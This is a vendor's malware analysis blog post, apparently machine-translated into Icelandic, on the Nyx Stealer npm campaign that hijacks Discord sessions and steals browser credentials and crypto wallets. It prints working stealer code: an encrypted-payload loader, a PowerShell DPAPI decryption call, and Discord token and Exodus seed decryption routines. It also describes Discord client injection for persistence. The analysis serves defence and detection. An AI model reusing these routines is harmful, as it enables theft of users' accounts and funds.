Upplýsingastjófur npm

Ný uppgötvun á upplýsingaþjófum í npm: Nyx-þjófurinn rænir Discord-lotum

TL; DR

Öryggisrannsóknarteymið hjá Xygeni benti á flókna npm upplýsingaþjófsherferð sem var send með tveimur illgjörnum pakka: huggakerfi og selfbot-lofy.

Nýjasta útgáfan (consolelofy@1.3.0) felur inn 216KB AES-dulkóðaða gagnamagn sem afkóðar við keyrslu og keyrir með vm.runInNewContext()Þar sem illgjarn rökfræði er fullkomlega dulkóðuð geta kyrrstæðir skannar sem reiða sig á strengjaskoðun ekki fylgst með hegðun hennar fyrr en á keyrslutíma.

Þegar það hefur verið afkóðað, er farmurinn, með innri vörumerkjum Nyx Stealer, markmið:

  • Discord auðkenningarmerki
  • 50+ verslanir fyrir vafraupplýsingar
  • 90+ veskisviðbætur fyrir dulritunargjaldmiðla
  • Roblox, Instagram, Spotify, Steam, Telegram og TikTok lotur
  • Þrautseigja Discord skrifborðsforrits

Allar 20 útgáfur af báðum pökkunum voru tilkynntar og staðfestar skaðlegar.

Tæknileg yfirlit yfir þennan npm upplýsingaþjóf

Ólíkt hefðbundnum spilliforritum sem koma við uppsetningu, byggir þessi herferð á afturkreistingur afkóðunarlíkan.

Það eru:

  • Engin illgjarn preinstall or postinstall hooks
  • Engin augljós netköll við uppsetningu
  • Engin rökfræði fyrir söfnun skilríkja í látlausum texta

Notkunin virkjast þegar einingin er flutt inn. Allt illgjarna innihaldið er dulkóðað og birtist aðeins í minninu við keyrslu.

Þessi hönnun kemur sérstaklega í veg fyrir uppgötvun við uppsetningu pakkans.

Hvernig þessi npm upplýsingaþjófur keyrir í raun og veru

Áður en við greinum hvað Nyx Stealer stelur þurfum við að skilja hvernig það keyrir.

Illgjarn rökfræði í þessum npm upplýsingaþjófi fylgir stöðugu mynstri:

Lítill hleðslutæki afkóðar stórt dulkóðað farm og keyrir það kraftmikið innan Node.js sýndarvélarsamhengis.

Þessi hönnun er vísvitandi. Árásarmaðurinn er ekki að fela virkni á bak við dulúð eingöngu, heldur... að fjarlægja skaðlegan kóða úr stöðugri sýnileika alveg.

Framkvæmdalíkan á háu stigi

Á háu stigi gerir umbúðirnar fjóra hluti:

  • Leiðir AES lykil úr harðkóðuðu lykilorði með SHA-256
  • Dulkóðar stóran sexhyrningskóðaðan dulkóðaðan texta með AES-256-CBC
  • Keyrir dulkóðað JavaScript með því að nota vm.runInNewContext()
  • Býður upp á sandkassa sem afhjúpar enn öflug keyrslutímafrumkvæði

Yfirlit yfir kjarnatækni

Component Stillingar / Gildi
Reiknirit AES-256-CBC
Key Afleiðsla SHA-256 (lykilorð)
Upphafsvektor (IV) 16 bæti af 0x00
Framkvæmd vm.runInNewContext(dulkóðað, sandkassi)

Mikilvægast er að sandkassinn fer í gegnum:

  • require
  • process
  • Buffer
  • tímamælar
  • útflutningur eininga

Þetta þýðir að afkóðaða farmurinn heldur fullum getu til að:

  • Hrygningarferli
  • Lesa og skrifa skrár
  • Hringja símtöl úr netkerfinu
  • Breyta staðbundnum forritum

Þetta er ekki takmörkuð sýndarvél. Þetta er sýndarvél sem notuð er sem aftökutrampólín.

Keyrslutíma dulkóðunarmynstur (kjarna keyrsluferli)

Hleðslutækið er lítið.
Illgjarn líkami er það ekki.

Hér að neðan er framkvæmdamynstrið sem er að finna í pakkanum:

const crypto = require('crypto'); const vm = require('vm');  function decryptAndExecute(encryptedHex, passphrase) {     const key = crypto.createHash('sha256')                       .update(passphrase)                       .digest();      const iv = Buffer.alloc(16, 0);      const decipher = crypto.createDecipheriv('aes-256-cbc', key, iv);     let decrypted = decipher.update(encryptedHex, 'hex', 'utf8');     decrypted += decipher.final('utf8');      const sandbox = {         require,         module,         exports,         console,         process,         Buffer,         __dirname,         __filename,         setTimeout,         setInterval,         clearTimeout,         clearInterval     };      vm.runInNewContext(decrypted, sandbox); }

Hvers vegna þetta skiptir máli

Afkóðaða farmurinn:

  • Er ekki eru til í látlausum texta innan npm pakkans
  • Er ósýnilegt fyrir einfalda grep eða kyrrstæð strengjaskönnun
  • Birtist aðeins í minni við keyrslu
  • Keyrir með fullum keyrslutímamöguleikum Node

Þessi samsetning AES + sýndarvéla keyrslu er sterk hegðunarvísir um Upplýsingaþjófur frá NPM reynir að komast hjá stöðluðum skoðunum.

Með öðrum orðum:

Ef þú skannar upprunatré pakkans sérðu engan þjóf.
Þú sérð dulkóðara.

Hvað gerist eftir afkóðun

Þegar Nyx Stealer hefur verið keyrt, hleypir hann af stokkunum samsíða gagnasöfnunarbylgjum.

Bylgja 1: Útdráttur vafraupplýsinga

Spilliforritið:

  • Sækir niður Python keyrslutíma frá NuGet CDN
  • Setur upp dulritunarbókasöfn
  • Dregur út Chromium-byggðar persónuskilríkisgeymslur
  • Afkóðar DPAPI-varið leyndarmál

Í stað þess að setja saman innfæddar bindingar notar það PowerShell til að kalla beint á Windows DPAPI.

function dpapiUnprotectWithPowerShell(dataBuf) {     const b64 = dataBuf.toString('base64');      const ps =         "Add-Type -AssemblyName System.Security;" +         "$b=[Convert]::FromBase64String('" + b64 + "');" +         "$p=[System.Security.Cryptography.ProtectedData]::Unprotect(" +         "$b,$null,[System.Security.Cryptography.DataProtectionScope]::CurrentUser);" +         "[Console]::Out.Write([Convert]::ToBase64String($p))";      const cmd =         `powershell -NoProfile -ExecutionPolicy Bypass -Command "${ps}"`;      return Buffer.from(execSync(cmd, { encoding: 'utf8' }).trim(), 'base64'); }

Þessi nálgun:

  • Forðast samantektarbrot
  • Notar innbyggða Windows dulritunar-API
  • Blandast inn í stjórnunartæki

Þetta er afkóðun skilríkja á stýrikerfisstigi, ekki skrapun.

Bylgja 2: Afkóðun Discord-tákna

Þjófurinn er meðvitaður um samskiptareglur. Hann skilur dulkóðað táknsnið Discord.

function decryptToken(encryptedToken, key) {     const tokenParts = encryptedToken.split('dQw4w9WgXcQ:');     const encryptedData = Buffer.from(tokenParts[1], 'base64');      const iv = encryptedData.slice(3, 15);     const ciphertext = encryptedData.slice(15, -16);     const tag = encryptedData.slice(-16);      const decipher = crypto.createDecipheriv('aes-256-gcm', key, iv);     decipher.setAuthTag(tag);      return decipher.update(ciphertext).toString('utf8'); }

Rekstrarflæði:

  • Sæktu aðallykilinn úr Discord Local State
  • Afkóða aðallykil með DPAPI
  • Afkóða AES-GCM táknbletti
  • Staðfesta tákn gegn Discord API
  • Auðgaðu með Nitro, merkjum, greiðsluupplýsingum

Þetta er ekki almenn skilríkiseyðing. Þetta er samskiptareglur sem stýra loturæningjum.

Bylgja 3: Markmið dulritunargjaldmiðlaveskis

Upplýsingastjórinn npm telur upp:

  • 90+ viðbætur fyrir vafraveski
  • 27 skrifborðsveski
  • Leiðir fyrir kalt veski
  • Exodus fræskrár

Dæmi um tilraun til að afkóða fræ:

function decryptSeco(content, password) {     const key = crypto.pbkdf2Sync(password, 'exodus', 10000, 32, 'sha512');      const decipher = crypto.createDecipheriv(         'aes-256-gcm',         key,         content.slice(0, 12)     );      decipher.setAuthTag(content.slice(-16));      return Buffer.concat([         decipher.update(content.slice(12, -16)),         decipher.final()     ]).toString('utf8'); }

Ef það tekst er veskisbrotið tafarlaust og óafturkræft.

Þetta táknar verðmætasta tekjuöflunarvektor herferðarinnar.

Varanleiki í gegnum Discord Desktop Injection

Eftir að hafa safnað innskráningarupplýsingum reynir Nyx Stealer að viðhalda varanleika með því að breyta staðbundnum stillingum. Discord viðskiptavina.

Skotmark:

%LOCALAPPDATA%\Discord*\app-*\modules\discord_desktop_core\index.js

Rekstrarröð

Upplýsingastuldurinn framkvæmir eftirfarandi skref:

  • Lýtur keyrandi Discord ferlum
  • Staðsetur uppsettar Discord útgáfur (Stable, Canary, PTB)
  • Yfirskrifar discord_desktop_core/index.js
  • Sprautar inn veftengingarrökfræði sem árásaraðili stýrir
  • Endurræsir Discord

Þetta tryggir að framtíðar Discord-lotur leki sjálfkrafa nýjum auðkenningarmerkjum.

Mikilvægt er að hafa í huga að þessi viðvarandi aðferð byggir ekki á áætluðum verkefnum eða breytingum á skrásetningunni. Hún nýtir sér kóðabreytingar á forritastigi, sem er leynilegri aðferð.

Jafnvel þótt skaðlegi npm pakkinn sé síðar fjarlægður, þá er Discord viðskiptavinurinn enn í hættu.

Tæknilegur samanburður: Lögmætur Selfbot vs. npm Infostealer

Component Lögmætt bókasafn Upplýsingastjófur Nyx npm
dulkóðun ekkert Fullt AES-dulkóðað farm
Keyrslutíma sýndarvél Ekki krafist vm.runInNewContext framkvæmd
Aðgangur að skilríkjum Aðeins Discord API Vafri, veski, DPAPI
Utanaðkomandi niðurhal Nr Keyrslutími Python í gegnum NuGet
Þrávirkni Nr Innspýting Discord-viðskiptavinar
Tekjuöflun Sjálfvirkni spjallþjóna Endursala skilríkja

Dulkóðunarlagið eitt og sér aðskilur þessa herferð frá dæmigerðri opinni hugbúnaðargaffli.

Lögmætur Discord sjálfsþjónn hefur enga ástæðu til að dulkóða allan kóðagrunn sinn, ræsa PowerShell til að fá aðgang að DPAPI, hlaða niður ytri keyrslutíma eða breyta innri stillingum skjáborðsforrita. Þegar þessir eiginleikar birtast innan ósjálfstæðis sem fullyrðir að sjálfvirkni Discord-samskipta verður ómögulegt að hunsa ósamræmið í byggingarlistinni.

Frá rannsóknarsjónarmiði skilur þessi npm upplýsingaþjófur eftir sig spor á mörgum lögum. Hins vegar eru áreiðanlegustu vísbendingarnar ekki harðkóðaðar vefslóðir eða sértækar skráarslóðir, þar sem þær geta breyst milli útgáfa. Þess í stað eru varanlegu merkin uppbyggð.

Á pakkastigi er sterkasta rauða fáninn samsetningin af stórum dulkóðuðum farmi og keyrslutíma afkóðunarumbúðum sem keyrir strax í gegnum vm.runInNewContext()Þó að dulkóðun ein og sér sé ekki í eðli sínu illgjarn, þá er notkun AES-afkóðunar og síðan keyrslu á virkri sýndarvél innan Discord-gagnpakka afar óeðlileg.

Á hýsingarstigi eru grunsamleg mynstur meðal annars óvænt DPAPI-afkóðunarvirkni, ferli sem koma upp úr Node.js-tengdum samhengi og breytingar á staðbundnum forritaskrám sem bókasöfn þriðja aðila ættu aldrei að breyta. Á sama hátt, á netlaginu, eru útleiðandi webhook-stíl samskipti sem hefjast af þróunartengdri tengdri tengingu annað þýðingarmikið frávik.

Með öðrum orðum, greiningaryfirborðið er ekki ein vísbending um ógn. Það er fylgni dulkóðunar, keyrslutíma, aðgangs að skilríkjum og viðvarandi hegðunar sem leiðir í ljós ógnina.

Greining og mótvægisaðgerðir með Xygeni

Upplýsingastjófur npm

Þessi npm upplýsingaþjófur var auðkenndur af Viðvörun Xygeni um spilliforrit (MEW) með lagskiptri hegðunarfylgni frekar en einfaldri undirskriftarpörun.

Í stað þess að leita að þekktum illgjörnum strengjum, metur MEW uppbyggingarfrávik í öllu upprunatrénu. Í þessu tilviki kom uppgötvunin fram með samruna nokkurra merkja: innbyggðri AES afkóðunarrútínu í inngangspunkti einingarinnar, tafarlausri keyrslu innan sýndarvélasamhengis og greinilegri ósamræmi milli getu og ásetnings.

Mikilvægt er að hafa í huga að engin þessara merkja eitt og sér sannar illvilja. Hins vegar, þegar þau eru greind saman, afhjúpa þau tilraun til að fela hegðun á keyrslutíma. Þessi lagskipta nálgun dregur verulega úr fölskum jákvæðum niðurstöðum og greinir á sama tíma ógnir í framboðskeðjunni sem eru mjög áreiðanlegar.

Ennfremur sýnir þetta dæmi hvers vegna skoðun á uppsetningartíma ein og sér er ekki nægjanleg. Illgjarn rökfræði er ekki að finna í líftímaforskriftum. Hún virkjast aðeins eftir að einingin hleðst inn og verður aðeins sýnileg þegar hún er afkóðuð í minni. Þess vegna krefst árangursrík vörn dulkóðunarmeðvitaðrar greiningar, greiningar á hegðunarmynstrum og stöðugrar eftirlits með ósjálfstæði umfram uppsetningaratburði.

Fjarlæging skrásetningar er viðbragðsleg. Greining sem er meðvituð um keyrslutíma er fyrirbyggjandi.

Af hverju þessi npm upplýsingaþjófur skiptir máli

Nyx Stealer táknar skipulagslega þróun í npm-byggðri spilliforritum.

Sögulega séð treystu mörg illgjarn forrit á sýnileg forskriftir á uppsetningartíma eða augljósa endapunkta fyrir aðgangsheimildir. Þessi herferð dulkóðar hins vegar gagnamagn sitt, frestar keyrslu til keyrslutíma, nýtir sér lögmæt stýrikerfis-API og kemur á stöðugleika innan traustra forrita.

Þar af leiðandi þarf árásaraðilinn ekki að nýta sér npm innviðina sjálfa. Í staðinn tekst árásin vegna þess að uppsetning á ósjálfstæði gefur til kynna traust. Forritarar gera ráð fyrir að innflutningur á bókasafni sé örugg aðgerð, sérstaklega þegar það birtist sem sennileg fork af vinsælu tóli.

Þegar vistkerfi halda áfram að vaxa og gafflar fjölga sér, verður þessi óbeina traustmörk sífellt aðlaðandi árásarflötur. Þess vegna krefst varnar gegn nútíma npm upplýsingaþjófum að þekkja byggingarmynstur frekar en að leita að kyrrstæðum strengjum.

Að lokum styrkir þessi herferð mikilvægan lærdóm í software supply chain securityHættulegustu ógnirnar eru ekki þær sem virðast illgjarnar við fyrstu sýn, heldur þær sem virðast byggingarlega lögmætar þar til keyrslutími leiðir í ljós raunverulega hegðun þeirra.

sca-tools-hugbúnaður-samsetningargreiningartól
Forgangsraðaðu, lagfærðu og tryggðu hugbúnaðaráhættu þína
Fáðu þér ókeypis aðgang.
Ekkert kreditkort krafist.

Tryggðu hugbúnaðarþróun og afhendingu þína

með Xygeni vörupakkanum